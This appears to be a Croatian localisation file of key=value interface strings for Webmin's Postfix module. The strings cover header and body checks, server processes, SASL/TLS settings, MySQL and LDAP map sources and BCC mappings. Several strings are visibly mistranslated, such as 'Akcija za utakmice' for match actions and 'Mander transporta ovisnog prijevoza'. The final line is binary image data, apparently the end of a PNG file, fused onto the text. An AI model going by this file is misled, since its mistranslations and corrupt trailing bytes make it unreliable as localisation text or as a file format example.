header_eregexp=Karta provjere zaglavlja mora biti u formatu <tt>regexp:</tt> <i>ime datoteke</i>
opts_header_checks=MIME tablice za provjeru zaglavlja
header_name=Redovan izraz
header_value=Akcija za utakmice
header_discard=Odbaci (sa porukom dnevnika..)
header_dunno=Ne radi ništa
header_filter=Primijeni filtar ..
header_hold=Postavite u red čekanja (s porukom dnevnika..)
header_ignore=Zanemariti
header_prepend=Dodajte tekst ..
header_redirect=Preusmjeravanje na adresu ..
header_replace=Zamijeni tekstom ..
header_reject=Odbij (s porukom o pogrešci..)
header_warn=Upozorenje dnevnika (s porukom..)
header_ename=Nevažeći regularni izraz - mora biti poput / nešto /
header_return=provjere zaglavlja

body_title=Provjere tijela
body_ecannot=Ne možete uređivati provjere tijela
body_eregexp=Karta provjere tijela mora biti u formatu <tt>regexp:</tt> <i>ime datoteke</i>
opts_body_checks=Tablice za provjeru tijela poruke
body_return=provjere tijela

dependent_title=Mander transporta ovisnog prijevoza
dependent_ecannot=Nije vam dopušteno uređivanje prijevoznih mapiranja ovisnih o pošiljatelju
dependent_eregexp=Karta transporta ovisna o pošiljatelju mora biti u formatu <tt>regexp:</tt> <i>ime datoteke</i>
dependent_return=pošiljateljeve prijevozne mape

manual_title=Uredi datoteku karte
manual_file=Odaberite datoteku karte za uređivanje:
manual_change=Promijeniti
manual_editing=Pomoću tekstnog polja u nastavku ručno uredite mapiranja u $1. Budite oprezni, jer se neće provjeriti sintaksa ili provjera valjanosti.
manual_err=Spremanje datoteke karte nije uspjelo
manual_efile=Nevažeće ime datoteke mape!
manual_ecannot=Ne možete ručno uređivati kartografske datoteke

delq_titles=Brisanje poruka
delq_rusure=Jeste li sigurni da želite izbrisati $1 odabrane poruke u redu?
delq_confirm=Izbriši poruke

master_title=Poslužiteljski procesi
master_name=Naziv procesa
master_enabled=Omogućeno?
master_type=Vrsta prijevoza
master_private=Privatna?
master_unpriv=Neprivilegovan?
master_chroot=Chrooted?
master_max=Maks procesi
master_inet=Internet
master_unix=Unix utičnica
master_fifo=Namijenjena cijev
master_add=Dodavanje novog postupka poslužitelja.
master_unlimit=Neograničen
master_ecannot=Nije vam dopušteno uređivanje procesa na poslužitelju
master_edit=Uređivanje procesa poslužitelja
master_create=Stvaranje procesa poslužitelja
master_header=Pojedinosti o procesu postfix poslužitelja
master_host=Slušajte na adresi domaćina
master_any=Bilo koja adresa
master_private2=Privatno za sustav pošte?
master_unpriv2=Želite li pokrenuti kao Postfix korisnik?
master_chroot2=Chroot katalog reda pošte?
master_return=poslužiteljski procesi
master_defyes=Zadano (Da)
master_command=Procesna naredba
master_wakeup=Automatski se budi proces?
master_wtime=Nakon $1 sekundi
master_wused=Samo ako se stvarno koristi
master_max2=Maksimalni procesi
master_procs=Najviše $1
master_name2=Naziv / port porta
master_egone=Proces poslužitelja više ne postoji!
master_eclash=Proces poslužitelja s istim imenom i vrstom prijevoza već postoji
master_err=Spremanje procesa na poslužitelju nije uspjelo
master_ename=Nedostaje ili nevažeće ime ili priključak poslužitelja
master_ehost=Nevažeća adresa domaćina za slušanje
master_einet=Adresa domaćina koju treba slušati može se odrediti samo za internetske procese
master_ecommand=Nedostaje naredba procesa na poslužitelju
master_ewakeup=Nedostaje ili nije valjano vrijeme buđenja
master_emaxprocs=Manjkajući ili nevažeći maksimalni broj postupaka

delete_err=Brisanje mapiranja nije uspjelo
delete_enone=Nijedna nije odabrana

cmanual_title=Uređivanje datoteka za konfiguriranje
cmanual_ecannot=Nije vam dopušteno uređivanje konfiguracijske datoteke Postfix
cmanual_ok=Uredi
cmanual_efile=Odabrana datoteka nije dio Postfix konfiguracije
cmanual_file=Uređivanje konfiguracijske datoteke:
cmanual_edata=Ništa nije ušlo!
cmanual_err=Konfiguriranje datoteke nije uspjelo

access_return=tablica karte pristupa
edit_map_file=Uredi datoteku karte
opts_reject_rbl_client=Traženje crnih popisa u stvarnom vremenu (RBL)
opts_check_sender_access=Provjerite tablicu karte pristupa pošiljatelja

log_misc=Promijenjene opće opcije
log_opts=Promijenjeno prepisivanje adresa i maskiranje
log_aliases=Izmijenjene su opcije aliasa
log_canonical=Promjena kanonskih opcija mapiranja
log_virtual=Izmijenjene su mogućnosti virtualne domene
log_bcc=Izmijenjene su opcije BCC karte
log_transport=Promijenjene su mogućnosti mapiranja prijevoza
log_sni=Promijenite mogućnosti mapiranja certifikata
log_dependent=Izmijenjene su adrese adrese pošiljatelja
log_relocated=Izmijenjene su mogućnosti izmještanja premještenih
log_header=Izmijenjene opcije provjere zaglavlja
log_body=Izmijenjene mogućnosti provjere tijela
log_debug=Izmijenjene su značajke za uklanjanje pogrešaka
log_ldap=Izmijenjene su pretpostavke LDAP-a
log_local=Izmijenjena lokalna dostava
log_rate=Izmijenjene cijene isporuke
log_resource=Promijenjena opća kontrola resursa
log_smtp=Promijenjene mogućnosti SMTP klijenta
log_smtpd=Promijenjene opcije SMTP poslužitelja
log_alias_create=Napravljen je pseudonim $1
log_alias_modify=Izmijenjeni pseudonim $1
log_alias_delete=Izbrisan je pseudonim $1
log_delete_aliases=Izbrisano je pseudonime $1
log_virtual_alias_maps_create=Stvorena virtualna domena $1
log_virtual_alias_maps_modify=Izmijenjena virtualna domena $1
log_virtual_alias_maps_delete=Izbrisana je virtualna domena $1
log_delete_virtual_alias_mapss=Izbrisana $1 virtualna domena
log_manual_virtual_alias_mapss=Ručno uređene virtualne domene u $1
log_virtual_maps_create=Stvorena virtualna domena $1
log_virtual_maps_modify=Izmijenjena virtualna domena $1
log_virtual_maps_delete=Izbrisana je virtualna domena $1
log_delete_virtual_mapss=Izbrisana $1 virtualna domena
log_manual_virtual_mapss=Ručno uređene virtualne domene u $1
log_canonical_maps_create=Stvoreno kanonsko mapiranje $1
log_canonical_maps_modify=Izmijenjeno kanonsko mapiranje $1
log_canonical_maps_delete=Izbrisano kanonsko mapiranje $1
log_delete_canonical_mapss=Izbrisani $1 kanonski mapiranja
log_manual_canonical_mapss=Ručno uređena kanonska preslikavanja u $1
log_recipient_canonical_maps_create=Izrađeno kanonsko mapiranje primatelja $1
log_recipient_canonical_maps_modify=Izmijenjeno kanoničko mapiranje primatelja $1
log_recipient_canonical_maps_delete=Izbrisano kanonsko mapiranje primatelja $1
log_delete_recipient_canonical_mapss=Izbrisani $1 kanonski mapiranja primatelja
log_manual_recipient_canonical_mapss=Ručno uređena kanonska mapiranja primatelja u $1
log_sender_canonical_maps_create=Napravljeno kanonsko mapiranje pošiljatelja $1
log_sender_canonical_maps_modify=Izmijenjeno kanoničko mapiranje pošiljatelja $1
log_sender_canonical_maps_delete=Izbrisano kanonsko mapiranje pošiljatelja $1
log_delete_sender_canonical_mapss=Izbrisana $1 kanonska preslikavanja pošiljatelja
log_manual_sender_canonical_mapss=Ručno uređena kanonska mapiranja pošiljatelja u $1
log_transport_maps_create=Napravljeno mapiranje prijevoza $1
log_transport_maps_modify=Izmijenjeno mapiranje prijevoza $1
log_transport_maps_delete=Izbrisano mapiranje prijevoza $1
log_delete_transport_mapss=Izbrisani $1 transportna preslikavanja
log_manual_transport_mapss=Ručno uređena preslikavanja prijevoza u $1
log_relocated_maps_create=Napravljeno premješteno preslikavanje $1
log_relocated_maps_modify=Izmijenjeno premješteno preslikavanje $1
log_relocated_maps_delete=Izbrisano premješteno preslikavanje $1
log_delete_relocated_mapss=Izbrisana $1 premještena je preslikavanja
log_manual_relocated_mapss=Ručno uređena premještena preslikavanja u $1
log_header_checks_create=Stvorena provjera zaglavlja $1
log_header_checks_modify=Izmijenjena provjera zaglavlja $1
log_header_checks_delete=Izbrisana provjera zaglavlja $1
log_delete_header_checkss=Izbrisano je provjera zaglavlja $1
log_manual_header_checkss=Ručno uređeno zaglavlje provjerava u $1
log_body_checks_create=Stvorena provjera tijela $1
log_body_checks_modify=Izmijenjena provjera tijela $1
log_body_checks_delete=Izbrisana provjera tijela $1
log_delete_body_checkss=Izbrisana je $1 provjera tijela
log_manual_body_checkss=Ručno uređena provjera tijela u $1
log_master_create=Napravljen proces poslužitelja $1
log_master_modify=Izmijenjeni proces na poslužitelju $1
log_master_delete=Izbrisani proces na poslužitelju $1
log_manual=Konfiguracijska datoteka ručno uređena $1
log_stop=Zaustavljen Postfix poslužitelj
log_start=Pokrenut poslužitelj Postfix
log_reload=Ponovno učitana konfiguracija Postfiksa
log_delqs=Izbrisane $1 poruke iz reda čekanja
log_flushq=Red čekanja pošte
log_backend=Ažurirana konfiguracijska datoteka za kartu $1
log_sasl=Izmijenjena provjera identiteta i šifriranja SMTP-a
log_client=Promijenjena ograničenja SMTP klijenta
log_sender_dependent_default_transport_maps_create=Napravljena adresa ovisna o pošiljatelju $1
log_sender_dependent_default_transport_maps_modify=Izmijenjena adresa ovisna o pošiljatelju $1
log_sender_dependent_default_transport_maps_delete=Izbrisana adresa ovisnika pošiljatelja $1
log_delete_sender_dependent_default_transport_mapss=Izbrisana $1 adrese ovisne o pošiljatelju
log_manual_sender_dependent_default_transport_mapss=Ručno uređena adresa ovisna o pošiljatelju u $1

sasl_title=Autentifikacija i šifriranje SMTP-a
opts_smtpd_sasl_auth_enable=Zahtijevate SASL SMTP provjeru autentičnosti?
opts_smtp_sasl_auth_enable=Koristite SASL SMTP provjeru autentičnosti?
opts_smtpd_tls_auth_only=Želite li onemogućiti SASL provjeru autentičnosti preko nesigurnih veza?
opts_broken_sasl_auth_clients=Rukujete nepodudarnim SMTP klijentima?
sasl_opts=Opcije sigurnosti SMTP-a
sasl_noanonymous=Odbijte anonimne prijave
sasl_noplaintext=Odbaci prijavu u običnom tekstu
opts_smtpd_delay_reject=Odgoditi klijente sa neuspjelim prijavama?
sasl_recip=Ograničenja za SMTP primatelja
sasl_relay=Ograničenja SMTP releja
sasl_permit_mynetworks=Dopusti veze s iste mreže
sasl_permit_sasl_authenticated=Dopustite autoriziranim klijentima
sasl_reject_unauth_destination=Odbijte e-poštu na druge domene
sasl_permit_inet_interfaces=Dopustite veze s ovog sustava
sasl_reject_unknown_reverse_client_hostname=Odbijte klijente bez obrnutog imena hosta
sasl_reject_unknown_client=Odbijte klijente bez obrnutog imena hosta
sasl_check_relay_domains=Dopusti samo relejne domene
sasl_permit_mx_backup=Dopusti domene za koje je ovaj sustav sigurnosna kopija MX
sasl_permit_tls_all_clientcerts=Dopustite TLS klijentima s bilo kojim certifikatom
sasl_reject_unauth_pipelining=Odbijte rane SMTP naredbe
sasl_check_client_access=Provjerite kartu pristupa klijentu :
sasl_reject_rbl_client=Odbijte je li IP adresa klijenta u RBL-u :
sasl_reject_rhsbl_client=Odbijte ako je ime računala u RBL :
opts_smtpd_tls_cert_file=Datoteka TLS certifikata
opts_smtpd_tls_key_file=TLS datoteka privatnog ključa
opts_smtpd_tls_CAfile=Datoteka ovlaštenja TLS certifikata
opts_smtpd_use_tls=Želite li omogućiti TLS šifriranje?
opts_smtp_enforce_tls=Zahtijevate TLS enkripciju?
sasl_err=Nije uspjelo spremanje SMTP provjere autentičnosti i enkripcije
sasl_ecert=Nedostaje ili nije važeća datoteka TLS certifikata
sasl_ekey=Nedostaje ili nije važeća datoteka s ključem TLS
sasl_eca=Nedostaje ili nije važeća datoteka ovlaštenja TLS certifikata
sasl_level_none=Nikada
sasl_level_may=Na zahtjev klijenta
sasl_level_encrypt=Stalno
sasl_level_dane=Opportunistički DANE TLS
sasl_level_dane_only=Obavezna DANE TLS
sasl_level_fingerprint=Potvrda ovjere otiska prsta
sasl_level_verify=Obavezna provjera TLS-a
sasl_level_secure=Sigurnosni kanal TLS
sasl_login=SMTP prijava na domaćina odlazne pošte
sasl_nologin=Nije potrebno
sasl_userpass=Prijavite se kao $1 s lozinkom $2
sasl_elogin=Nedostaje ili nije valjana SMTP prijava (nisu dopušteni razmaci ili koloni)
sasl_epass=Nevaljana SMTP lozinka (nisu dopušteni razmaci)

client_title=Ograničenja SMTP klijenta
client_ecannot=Nije vam dopušteno uređivanje ograničenja SMTP klijenta
client_restrict=Ograničenja za klijenta
client_restrict1=Zadani postfiks (dopustite svim klijentima)
client_restrict0=Odabrano u nastavku ..
client_other=Ostala ograničenja :
client_err=Spremanje ograničenja klijenta nije uspjelo
client_evalue=Nedostaje vrijednost za ograničenje $1
client_return=Ograničenja SMTP klijenta

chooser_title=Odaberite Izvor karte
chooser_header=Izvor karte $1
chooser_none=nijedan
chooser_hash=Mapiranje datoteke
chooser_regexp=Datoteka Regexps
chooser_pcre=Datoteka za regexps u stilu Perla
chooser_other=Drugi izvor
chooser_mysql=MySQL baza podataka
chooser_mysqlsrc=MySQL izvor
chooser_mhosts=Hostovi MySQL poslužitelja
chooser_muser=Prijava na bazu podataka
chooser_mpassword=Lozinka baze podataka
chooser_mdbname=Naziv baze podataka
chooser_mtable=Tablica koja sadrži kartu
chooser_mselect_field=Polje vrijednosti
chooser_mwhere_field=Ključno polje
chooser_madditional_conditions=SQL za <tt>gdje</tt> klauzulu
chooser_err=Spremanje izvora karte nije uspjelo
chooser_ehash=Nedostaje ili neispravno ime datoteke za mapiranje za kartu $1
chooser_eregexp=Nedostaju ili su nevažeći nazivi datoteka regularnih izraza za kartu $1
chooser_epcre=Nedostaje ili nije važeći naziv datoteke regularnih izraza koji je kompatibilan s Perl za kartu $1
chooser_eother=Nedostaje ili nije valjan drugi izvor za kartu $1
chooser_enone=Nije upisan nijedan
chooser_emhosts=Nedostaju domaćini MySQL poslužitelja za kartu $1
chooser_emuser=Nedostaje ili nije valjana prijava baze podataka za kartu $1
chooser_empassword=Nedostaje ili nije važeća lozinka baze podataka za kartu $1
chooser_emdbname=Nedostaje ili neispravno ime tablice za kartu $1
chooser_emselect_field=Nedostaje ili neispravno polje vrijednosti za kartu $1
chooser_emwhere_field=Nedostaje ili neispravno ključno polje za kartu $1
chooser_emadditional=Nedostaju dodatni SQL uvjeti za kartu $1
chooser_mquery=Prilagođeni upit za kartu
chooser_emquery=Nedostaje prilagođeni upit za kartu
chooser_lserver_host=Domaćini LDAP poslužitelja
chooser_lserver_port=LDAP port
chooser_lstart_tls=Koristite TLS enkripciju?
chooser_lsearch_base=LDAP baza za pretraživanje DN
chooser_lquery_filter=Filter upita
chooser_lresult_attribute=Atribut rezultata
chooser_lscope=Opseg pretraživanja
chooser_lsub=Čitavo podređenje
chooser_lone=Jedna razina
chooser_lbase=Bazna samo
chooser_lbind=Prijaviti se na LDAP poslužitelj?
chooser_lbind_dn=Prijava na poslužitelj
chooser_lbind_pw=Lozinka poslužitelja
chooser_ldap=LDAP poslužitelj
chooser_lfilter=Drugi filtar
chooser_lattribute=Ostali atribut
chooser_elserver_host=Nedostaju domaćini poslužitelja LDAP za kartu $1
chooser_elserver_port=Nedostaje ili nije važeći LDAP port poslužitelja za kartu $1
chooser_elsearch_base=Nedostaje baza podataka za pretraživanje LDAP za kartu $1
chooser_elquery_filter=Nedostaje filtar upita za kartu $1
chooser_elresult_attribute=Nedostaje ili neispravno ime atributa rezultata za kartu $1
chooser_elbind_dn=Nedostaje prijava za LDAP poslužitelj za kartu $1
chooser_elbind_pw=Nedostaje lozinka za LDAP poslužitelj za kartu $1

mysql_ecfile=Konfiguracijska datoteka MySQL $1 nije pronađena
mysql_ecfile2=Ne mogu pronaći tablicu u MySQL datoteci konfiguracije $1
mysql_edriver=Nije uspio učitavanje pogonitelja baze podataka $1
mysql_elogin=Nije uspjela prijava u bazu podataka $1:$2.
mysql_equery=Nije uspjelo upit tablice $1 : $2 
mysql_eadd=SQL umetanje nije uspjelo : $1
mysql_edelete=SQL brisanje nije uspjelo : $1
mysql_eupdate=Ažuriranje SQL-a nije uspjelo : $1
mysql_elist=SQL upit nije uspio : $1
mysql_esource=Nije pronađen MySQL izvor $1
mysql_eneed=Konfiguracijski parametar MySQL $1 nije pronađen. Webmin treba ovo da shvati koju će tablicu i polja postaviti.

ldap_ecfile=Konfiguracijska datoteka LDAP $1 nije pronađena
ldap_eldapmod=Perl modul $1 potreban za komunikaciju s LDAP-om nije instaliran ili nije dostupan
ldap_eldap=Nije uspjelo povezivanje s poslužiteljem LDAP $1 na portalu $2
ldap_eldaplogin=Nije uspjela prijava na LDAP poslužitelj $1 kao $2 : $3 
ldap_ebase=LDAP baza DN $1 nije valjana : $2
ldap_eadd=Dodavanje LDAP $1 nije uspjelo : $2
ldap_edelete=LDAP brisanje $1 nije uspjelo : $2
ldap_equery=LDAP pretraživanje $1 nije uspjelo : $2
ldap_erename=LDAP preimenovanje $1 u $2 nije uspjelo : $3
ldap_emodify=Izmjena LDAP-a $1 nije uspjela : $2

bcc_title=BCC mapiranje
bcc_ecannot=Nije vam dopušteno uređivanje BCC mapiranja
opts_sender_bcc_maps=Tablice za pretraživanje preslikavanja pošiljatelja BCC
opts_recipient_bcc_maps=Tablice za pretraživanje mapiranja BCC mapiranja
bcc_sender=Karte pošiljatelja
bcc_recipient=Kartiranje primatelja
bcc_senderdesc=BCC mapiranja pošiljatelja definiraju dodatnu adresu e-pošte kojoj će pošta <b>s</b> navedene adrese ili domene biti BCCd.
bcc_recipientdesc=BCC mapiranja primatelja definiraju dodatnu adresu e-pošte na koju će pošta <b>na</b> navedene adrese ili domene biti BCCd.
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`